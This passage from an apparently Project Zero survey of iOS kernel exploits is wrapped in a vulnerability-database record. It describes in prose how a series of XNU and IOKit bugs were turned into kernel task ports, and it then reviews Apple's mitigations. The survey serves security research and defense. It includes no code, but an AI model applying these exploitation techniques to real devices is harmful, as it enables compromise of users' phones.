([@JohnCool__](<https://twitter.com/JohnCool__>)) at Synacktiv. Exploit by Siguza, Viktor Oreshkin ([@stek29](<https://twitter.com/stek29>)), Ben Sparkes ([@iBSparkes](<https://twitter.com/ibsparkes>)), and littlelailo.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (possibly CVE-2018-4344) is a race condition in XNU's lio_listio() due to improper state management that results in a use-after-free.\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread repeatedly sends a message containing an OOL ports array allocated from kalloc.16, immediately sprays a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace via IOSurface properties, and receives the OOL ports. When the race is won, the double-free can cause the OOL ports array to be freed, and the subsequent spray can reallocate the slot with a fake OOL ports array. Receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using mach_port_get_attributes(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nThe analysis was performed on the implementation in the file pwn.m, since this seems to provide the most direct comparison to the other exploit implementations in this list.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [Spice exploit code](<https://github.com/JakeBlair420/Spice>).\n\n## treadm1ll - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro. Exploit by Tihmstar ([@tihmstar](<https://twitter.com/tihmstar>)).\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread sends a fixed number of messages containing an OOL ports array allocated from kalloc.16. When the race is won, the double-free can cause the OOL ports array to be freed, leaving a dangling OOL ports array pointer in some messages. The first thread stops triggering the vulnerability and a large number of IOSurface objects are created. Each message is received in turn and a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace are sprayed using IOSurface properties. Each spray can reallocate a slot from a dangling OOL ports array with a fake OOL ports array. Successfully receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using pid_for_task(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [treadm1ll exploit code](<https://github.com/tihmstar/treadm1ll>).\n\n## Chaos - iOS 12.1.2\n\nBy Qixun Zhao ([@S0rryMybad](<https://twitter.com/S0rryMybad>)) of Qihoo 360 Vulcan Team.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 is a use-after-free due to XNU's task_swap_mach_voucher() failing to comply with MIG lifetime semantics that results in an extra reference being added or dropped on an ipc_voucher object.\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. The OSString overlapping the fake voucher is freed and reallocated with a large spray that both forces the allocation of controlled data containing a fake Mach port at a hardcoded address and updates the fake voucher's iv_port pointer to point to the fake Mach port. thread_get_mach_voucher() is called again to obtain a send right to the fake port and to identify which OSString buffer contains the fake Mach port. This leaves the process with a send right to a fake Mach port in an IOSurface property buffer at a known address (roughly equivalent to a dangling Mach port). A kernel read primitive is built by reallocating the OSString buffer to convert the fake port into a fake task port and calling pid_for_task() to read arbitrary memory. Relevant kernel objects are located and the fake port is converted into a fake map port to remap the fake port into userspace, removing the need to reallocate it. Finally the fake port is converted into a fake kernel task port.\n\n** \n**\n\nNotes: The A12 introduced PAC, which limits the ability to use certain exploitation techniques involving code pointers (e.g. vtable hijacking). Also, iOS 12 introduced a mitigation in ipc_port_finalize() against freeing a port while it is still active (i.e. hasn't been destroyed, for example because a process still holds a right to it). This changed the common structure of past exploits whereby a port would be freed while a process still held a right to it. Possibly as a result, obtaining a right to a fake port in iOS 12+ exploits seems to occur later in the flow than in earlier exploits.\n\n** \n**\n\nReferences: [IPC Voucher UaF Remote Jailbreak Stage 2 (EN)](<https://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20\\(EN\\).html>).\n\n## voucher_swap - iOS 12.1.2\n\nBy Brandon Azad ([@_bazad](<https://twitter.com/_bazad>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to put a block of ipc_port allocations directly before a block of pipe buffers. A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated with an OOL ports array containing a pointer to a previously-allocated ipc_port overlapping the voucher's iv_refs field. A send right to the voucher port is retrieved by calling thread_get_mach_voucher() and the voucher's reference count is increased by repeatedly calling the vulnerable function, updating the overlapping ipc_port pointer to point into the pipe buffers. Receiving the OOL ports yields a send right to a fake Mach port whose contents can be controlled directly. mach_port_request_notification() is called to insert a pointer to an array containing a pointer to another Mach port in the fake port's ip_requests field. A kernel read primitive is built using pid_for_task(), and the address of the other Mach port is read to compute the address of the fake port. Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nReferences: [voucher_swap: Exploiting MIG reference counting in iOS 12](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>), [voucher_swap exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10>).\n\n## machswap2 - iOS 12.1.2\n\nBy Ben Sparkes.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer containing a fake voucher using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. Pipe buffers containing fake task ports are sprayed to land roughly 1 MB after the disclosed port address. The OSString overlapping the fake voucher is freed and reallocated to update the fake voucher's iv_port pointer to point to point into the pipe buffers. thread_get_mach_voucher() is called again to retrieve the updated voucher port, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The author developed two versions of this exploit: one for pre-PAN devices, and one for PAN-enabled devices. The exploit presented here is for PAN-enabled devices.\n\n** \n**\n\nReferences: [machswap2 exploit code](<https://github.com/PsychoTea/machswap2>), [MachSwap: an iOS 12 Kernel Exploit](<https://sparkes.zone/blog/ios/2019/04/30/machswap-ios-12-kernel-exploit.html>), [machswap exploit code](<https://github.com/PsychoTea/machswap>).\n\n## In-the-wild iOS Exploit Chain 5 - iOS 12.1.2\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OOL memory spray. A large number of Mach ports are allocated and then thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OOL ports array. More ports are allocated and then the OOL memory spray is received, disclosing the address of the voucher port for the fake voucher. The dangling voucher is reallocated again with another OOL memory spray that updates the voucher's iv_port pointer to the subsequent page. The Mach ports are destroyed and a zone garbage collection is forced, leaving the fake voucher holding a pointer to a dangling port. The dangling port is reallocated with pipe buffers. Finally, thread_get_mach_voucher() is called, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 5 - task_swap_mach_voucher](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>).\n\n## In-the-wild iOS Exploit Chain 4 - iOS 12.1.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df. Also reported by an anonymous researcher.\n\n** \n**\n\nThe vulnerability: CVE-2019-7287 is a linear heap buffer overflow in the IOKit function ProvInfoIOKitUserClient::ucEncryptSUInfo() due to an unchecked memcpy().\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place holes in kalloc.4096 before an OOL ports array and holes in kalloc.6144 before an OSData buffer accessible via IOSurface properties. The vulnerability is triggered with the source allocated from kalloc.4096 and the destination allocated from kalloc.6144, causing the address of a target Mach port to be copied into the OSData buffer. The OSData buffer is then read, disclosing the address of the target port. The heap is groomed again to place holes in kalloc.4096 before an OOL memory buffer and in kalloc.6144 before an OOL ports array. The vulnerability is triggered again to insert a pointer to the target port into the OOL ports array. The target port is freed and a zone garbage collection is forced, leaving a dangling port pointer in the OOL ports array. The dangling port is reallocated with pipe buffers and the OOL ports are received, giving a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake port is converted into a fake clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 4 - cfprefsd + ProvInfoIOKit](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html>), [About the security content of iOS 12.1.4](<https://support.apple.com/lt-lt/HT209520>).\n\n## Attacking iPhone XS Max - iOS 12.1.4\n\nBy Tielei Wang ([@wangtielei](<https://twitter.com/wangtielei>)) and Hao Xu ([@windknown](<https://twitter.com/windknown>)).\n\n** \n**\n\nThe vulnerability: The vulnerability is a race condition in XNU's UNIX domain socket bind implementation due to the temporary unlock antipattern that results in a use-after-free.\n\n** \n**\n\nExploit strategy: Sockets are sprayed and the vulnerability is triggered to leave a pointer to a dangling socket pointer in a vnode struct. The sockets are closed, a zone garbage collection is forced, and the sockets are reallocated with controlled data via an OSData spray (possibly an IOSurface property spray). The fake socket is constructed to have a reference count of 0. The use after free is triggered to call socket_unlock() on the fake socket, which causes the fake socket/OSData buffer to be freed using kfree(). This leaves a dangling OSData buffer accessible using unspecified means.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. Kernel memory is sprayed to place a fake Mach port at a hardcoded address (or an information leak is used) and the OOL ports array is reallocated with another OSData buffer, inserting a pointer to the fake Mach port into the OOL ports array. The OOL ports are received, yielding a send or receive right to the fake Mach port at a known address. The fake port is converted into a fake kernel task port by unspecified means.\n\n** \n**\n\nNotes: The only reference for this exploit is a BlackHat presentation, hence the uncertainties in the explanations above.\n\n** \n**\n\nThe authors developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices. The non-PAC exploit is substantially simpler (hijacking a function pointer used by socket_lock()).\n\n** \n**\n\nReferences: [Attacking iPhone XS Max](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>).\n\n## SockPuppet - iOS 12.2 and iOS 12.4\n\nBy Ned Williamson ([@nedwilliamson](<https://twitter.com/nedwilliamson>)) working with Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-8605 is a use-after-free due to XNU's in6_pcbdetach() failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: Safe arbitrary read, arbitrary kfree(), and arbitrary Mach port address disclosure primitives are constructed over the vulnerability.\n\n** \n**\n\nThe arbitrary read primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to read. The ip6po_minmtu field is checked via getsockopt(), and if correct, getsockopt(IPV6_PKTINFO) is called to read 20 bytes of data from the address pointed to by ip6po_pktinfo.\n\n** \n**\n\nThe arbitrary kfree() primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to free. The ip6po_minmtu field is checked via getsockopt(), and if correct, setsockopt(IPV6_PKTINFO) is called to invoke kfree_addr() on the ip6po_pktinfo pointer.\n\n** \n**\n\nThe arbitrary Mach port address disclosure primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OOL ports array spray containing pointers to the target port. The ip6po_minmtu and ip6po_prefer_tempaddr fields are read via getsockopt(), disclosing the value of the target port pointer. The port is checked to be of the expected type using the arbitrary read primitive.\n\n** \n**\n\nSubsequent exploit flow: The Mach port address disclosure primitive is used to disclose the address of the current task. Two pipes are created and the addresses of the pipe buffers in the kernel are found using the kernel read primitive. Relevant kernel objects are located and a fake kernel task port is constructed in one of the pipe buffers. The arbitrary kfree() primitive is used to free the pipe buffer for the other pipe, and the pipe buffer is reallocated by spraying OOL ports arrays. The pipe is then written to insert a pointer to the fake kernel task port into the OOL ports array, and the OOL ports are received, yielding a fake kernel task port.\n\n** \n**\n\nNotes: Unlike most other exploits on this list which are structured linearly, SockPuppet is structured hierarchically, building on the same primitives throughout. This distinct structure is likely due to the power and stability of the underlying vulnerability: the bug directly provides both an arbitrary read and an arbitrary free primitive, and in practice both primitives are 100% safe and reliable because it is possible to check that the reallocation is successful. However, this structure means that there is no clear temporal boundary in the high-level exploit flow between the vulnerability-specific and generic exploitation. Instead, that boundary occurs between conceptual layers in the exploit code.\n\n** \n**\n\nThe SockPuppet bug was fixed in iOS 12.3 but reintroduced in iOS 12.4.\n\n** \n**\n\nReferences: [SockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>), [SockPuppet exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## AppleAVE2Driver exploit - iOS 12.4.1\n\nBy 08Tc3wBB ([@08Tc3wBB](<https://twitter.com/08Tc3wBB>)).\n\n** \n**\n\nThe vulnerability: CVE-2019-8795 is a memory corruption in AppleAVE2Driver whereby improper bounds checking leads to processing of out-of-bounds data, eventually resulting in a controlled virtual method call or arbitrary kfree(). CVE-2019-8794 is a kernel memory disclosure in AppleSPUProfileDriver due to uninitialized stack data being shared with userspace.\n\n** \n**\n\nExploit strategy: The KASLR slide is discovered using the AppleSPUProfileDriver vulnerability. OSData buffers containing fake task ports are sprayed using IOSurface properties. The vulnerability is triggered to free an OSData buffer at a hardcoded address, leaving a dangling OSData buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. The OOL ports array is reallocated with another OSData buffer, inserting pointers to the fake task ports sprayed earlier into the OOL ports array. The OOL ports are received, yielding send rights to the fake task ports, and pid_for_task() is used to read pointers to relevant kernel objects. The OSData buffer is freed and reallocated to convert one of the fake ports into a fake kernel task port.\n\n** \n**\n\nNotes: iOS versions up to 13.1.3 were vulnerable, but the exploit presented here targeted iOS 12.4.1.\n\n** \n**\n\nThe author developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices.\n\n** \n**\n\nReferences: [ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2 exploit code](<https://github.com/ZecOps/public/tree/master/ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2>), [ZecOps Task-For-Pwn 0 Bounty: TFP0 POC on PAC-Enabled iOS Devices <= 12.4.2](<https://blog.zecops.com/vulnerabilities/releasing-first-public-task-for-pwn0-tfp0-granting-poc-on-ios/>), [SSD Advisory \u2013 iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE](<https://ssd-disclosure.com/ssd-advisory-via-ios-jailbreak-sandbox-escape-and-kernel-r-w-leading-to-rce/>), [SSD Advisory 4066 exploit code](<https://github.com/ssd-secure-disclosure/advisories/tree/master/SSD%20Advisory%20-%204066>), [About the security content of iOS 13.2 and iPadOS 13.2](<https://support.apple.com/en-il/HT210721>).\n\n## oob_timestamp - iOS 13.3\n\nBy Brandon Azad.\n\n** \n**\n\nThe vulnerability: CVE-2020-3837 is a linear heap out-of-bounds write of up to 8 bytes of timestamp data in IOKit's IOAccelCommandQueue2::processSegmentKernelCommand() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel map is groomed to lay out two 96 MB shared memory regions, an 8-page ipc_kmsg, an 8-page OOL ports array, and 80 MB of OSData buffers sprayed via IOSurface properties. The number of bytes to overflow is computed based on the current time and the overflow is triggered to corrupt the ipc_kmsg's ikm_size field, such that the ipc_kmsg now has a size of between 16 pages and 80 MB. The port containing the ipc_kmsg is destroyed, freeing the corrupted ipc_kmsg, the OOL ports array, and some of the subsequent OSData buffers. More OSData buffers are sprayed via IOSurface to reallocate the OOL ports array containing a pointer to a fake Mach port at a hardcoded address that is likely to overlap one of the 96 MB shared memory regions. The OOL ports are received, producing a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A kernel memory read primitive is constructed using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: iOS 13 introduced zone_require, a mitigation that checks whether certain objects are allocated from the expected zalloc zone before they are used. An oversight in the implementation led to a trivial bypass when objects are allocated outside of the zalloc_map.\n\n** \n**\n\nReferences: [oob_timestamp exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>). \n\n\n## tachy0n (unc0ver 5.0.0) - iOS 13.5\n\nBy Pwn20wnd ([@Pwn20wnd](<https://twitter.com/Pwn20wnd>)), unc0ver Team ([@unc0verTeam](<https://twitter.com/unc0verTeam>)), and Siguza.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (see \"Spice\" above; reintroduced in iOS 13).\n\n** \n**\n\nExploit strategy: (Analysis pending.) The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Preliminary results suggest that the freed kalloc.16 slot is reallocated by OSData buffers sprayed via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: (Analysis pending.)\n\n** \n**\n\nNotes: The unc0ver exploit was released as an obfuscated binary; a more complete analysis of the exploit strategy and exploit flow will be released after the [tachy0n](<https://twitter.com/s1guza/status/1266433756270866433>) exploit code is published.\n\n** \n**\n\nWhile iOS 12 patched the LightSpeed vulnerability, the patch did not address the root cause and created a memory leak. This memory leak was fixed in iOS 13, but the change also reintroduced the old (vulnerable) behavior. This is a regression, not a variant: the original LightSpeed POC does trigger on iOS 13.\n\n \nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [unc0ver-v5.0.0.ipa](<https://github.com/pwn20wndstuff/Undecimus/releases/tag/v5.0.0>).\n\n# iOS kernel exploit mitigations\n\nNext we will look at some current iOS kernel exploit mitigations. This list is not exhaustive, but it briefly summarizes some of the mitigations that exploit developers may encounter up through iOS 13.\n\n## Kernel Stack Canaries - iOS 6\n\niOS 6 introduced kernel stack canaries (or stack cookies) to protect against stack buffer overflows in the kernel.\n\n \nNone of the exploits in this list are affected by the presence of stack canaries as they do not target stack buffer overflow vulnerabilities.\n\n## Kernel ASLR - iOS 6\n\nKernel Address Space Layout Randomization (Kernel ASLR or KASLR) is a mitigation that randomizes the base address of the kernelcache image in the kernel address space. Before Kernel ASLR was implemented, the addresses of kernel functions and objects in the kernelcache image were always located at a fixed address.\n\n** \n**\n\nBypassing or working around KASLR is a standard step of all modern iOS kernel exploits.\n\n## Kernel Heap ASLR - iOS 6\n\nSince iOS 6 the base addresses for various kernel heap regions have been randomized. This seeks to mitigate exploits that hardcode addresses at which objects will be deterministically allocated. \n\n** \n**\n\nWorking around kernel heap randomization is a standard step of modern iOS kernel exploits. Usually this involves heap spraying, in which the kernel is induced to allocate large amounts of data to influence the shape of the heap even when exact addresses are not known. Also, many vulnerabilities can be leveraged to produce an information leak, disclosing the addresses of relevant kernel objects on the heap.\n\n## W^X / DEP - iOS 6\n\niOS 6 also introduced substantial kernel address space hardening by ensuring that kernel pages are mapped either as writable or as executable, but never both (often called \"write xor execute\" or W^X). This means that page tables no longer map kernel code pages as writable, and the kernel heap and stack are no longer mapped as executable. (Ensuring that non-code data is not mapped as executable is often called Data Execution Prevention, or DEP.)\n\n** \n**\n\nModern public iOS exploits do not attempt to bypass W^X (e.g. by modifying page tables and injecting shellcode); instead, exploitation is achieved by modifying kernel data structures and performing code-reuse attacks instead. This is largely due to the presence of a stronger, hardware-enforced W^X mitigation called KTRR.\n\n## PXN - iOS 7\n\nApple's A7 processor was the first 64-bit, ARMv8-A processor in an iPhone. Previously, iOS 6 had separated the kernel and user address space so that user code and data pages were inaccessible during normal kernel execution. With the move to 64-bit, the address spaces were no longer separated. Thus, the Privileged Execute-Never (PXN) bit was set in page table entries to ensure that the kernel could not execute shellcode residing in userspace pages.\n\n** \n**\n\nSimilarly to W^X, PXN as a protection against jumping to userspace shellcode is overshadowed by the stronger protection of KTRR.\n\n## PAN - iOS 10\n\nPrivileged access-never (PAN) is an ARMv8.1-A security feature introduced with the Apple A10 processor that prevents the kernel from accessing virtual addresses that are also accessible to userspace. This is used to prevent the kernel from dereferencing attacker-supplied pointers to data structures in userspace. It is similar to the Supervisor Mode Access Prevention (SMAP) feature on some Intel processors.\n\n** \n**\n\nWhile PAN has been [bypassed](<http://siguza.github.io/PAN/>) before, modern public iOS kernel exploits usually work around PAN by spraying data into the kernel and then learning the address of the data. While the most reliable techniques involve disclosing the address of the data inserted into the kernel, techniques exist to work around PAN generically, such as spraying enough data to overwhelm the kernel map randomization and force a fixed, hardcoded address to be allocated with the controlled data. Other primitives exist for establishing shared memory mappings between userspace and the kernel, which can also be used to work around PAN.\n\n## KTRR - iOS 10\n\nKTRR (possibly Kernel Text Readonly Region, part of [Kernel Integrity Protection](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware security mitigation introduced on the Apple A10 processor (ARMv8.1-A). It is a strong form of W^X protection enforced by the MMU and the memory controller over a single span of contiguous memory covering the read-only parts of the kernelcache image and some sensitive data structures like top-level page tables and the trust cache. It has also been [referred to by Apple](<https://i.blackhat.com/USA-19/Thursday/us-19-Krstic-Behind-The-Scenes-Of-IOS-And-Mas-Security.pdf>) as Kernel Integrity Protection (KIP) v1.\n\n** \n**\n\nWhile KTRR has been publicly bypassed [twice](<https://twitter.com/qwertyoruiopz/status/974907288501747713>) [before](<https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html>), modern public iOS kernel exploits usually work around KTRR by not manipulating KTRR-protected memory.\n\n## APRR - iOS 11\n\nAPRR (possibly standing for [Access Protection Rerouting](<https://siguza.github.io/APRR/>) or [Access Permission Restriction Register](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware feature on Apple A11 and later CPUs that indirects virtual memory access permissions (usually specified in the page table entry for the page) through a special register, allowing access permissions for large groups of pages to be changed atomically and per-core. It works by converting the bits in the PTE that typically directly specify the access permissions into an index into a special register containing the true access permissions; changing the register value swaps protections on all pages mapped with the same access permissions index. APRR is somewhat similar to the Memory Protection Keys feature available on newer Intel processors.\n\n** \n**\n\nAPRR on its own does not provide any security boundaries, but it makes it possible to segment privilege levels inside a single address space. It is heavily used by PPL to create a security boundary within the iOS kernel.\n\n## PPL - iOS 12\n\nPPL ([Page Protection Layer](<https://support.apple.com/guide/security/page-protection-layer-sec38dc659b4/1/web/1>)) is the software layer built on APRR and dependent on KTRR that aims to put a security boundary between kernel read/write/execute and direct page table access. The primary goal of PPL is to prevent an attacker from modifying user pages that have been codesigned (e.g. using kernel read/write to overwrite a userspace process's executable code). This necessarily means that PPL must also maintain total control over the page tables and prevent an attacker from mapping sensitive physical addresses, including page tables, page table metadata, and IOMMU registers.\n\n** \n**\n\nAs of May 2020, PPL has not been publicly bypassed. That said, modern iOS kernel exploits are so far unaffected by PPL.\n\n## PAC - iOS 12\n\nPointer Authentication Codes ([PAC](<https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/1/web/1>)) is an ARMv8.3-A security feature that mitigates pointer tampering by storing a cryptographic signature of the pointer value in the upper bits of the pointer. Apple introduced PAC with the A12 and significantly [hardened](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>) the implementation (compared to the ARM standard) in order to defend against attackers with kernel read/write, although for most purposes it is functionally indistinguishable. Apple's kernel uses PAC for control flow integrity (CFI), placing a security boundary between kernel read/write and kernel code execution.\n\n** \n**\n\nDespite [numerous](<https://bazad.github.io/presentations/MOSEC-2019-A-study-in-PAC.pdf>) [public](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>) [bypasses](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>) of the iOS kernel's PAC-based CFI, PAC in the kernel is still an effective exploit mitigation: it has severely restricted exploitability of many bugs and killed some exploit techniques. For example, exploits in the past have used a kernel execute primitive in order to build a kernel read/write primitive (see e.g. ziVA); that is no longer possible on A12 without bypassing PAC first. Furthermore, extensive use of PAC-protected pointers in IOKit has made it significantly harder to turn many bugs into useful primitives. Given the long history of serious security issues in IOKit, this is a substantial win.\n\n## zone_require - iOS 13\n\nzone_require is a software mitigation introduced in iOS 13 that adds checks that certain pointers are allocated from the expected zalloc zones before using them. The most common zone_require checks in the iOS kernelcache are of Mach ports; for example, every time an ipc_port is locked, the zone_require() function is called to check that the allocation containing the Mach port resides in the ipc.ports zone (and not, for example, an OSData buffer allocated with kalloc()).\n\n** \n**\n\nSince fake Mach ports are an integral part of modern techniques, zone_require has a substantial impact on exploitation. Vulnerabilities like CVE-2017-13861 (async_wake) that drop a reference on an ipc_port no longer offer a direct path to creating a fake port. While zone_require has been publicly bypassed [once](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>), the technique relied on an oversight in the implementation that is easy to correct.\n\n# Changelog\n\n2020/07/09\n\n| \n\nAn entry was added for tachy0n (unc0ver 5.0.0) - iOS 13.5. \n \n---|--- \n \n2020/06/19\n\n| \n\nThe entry on MachSwap was replaced with machswap2, since the latter works on PAN-enabled devices.\n\nAn entry was added for AppleAVE2Driver exploit - iOS 12.4.1.\n\nThe description for PAN was updated to clarify that it was introduced with the A10 processor, not iOS 10.\n\nThe description for PPL was updated to clarify that it primarily protects userspace processes, as the kernel's code is protected by KTRR. \n \n2020/06/11\n\n| \n\nOriginal post published.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-06-11T00:00:00", "type": "googleprojectzero", "title": "\nA survey of recent iOS kernel exploits\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": 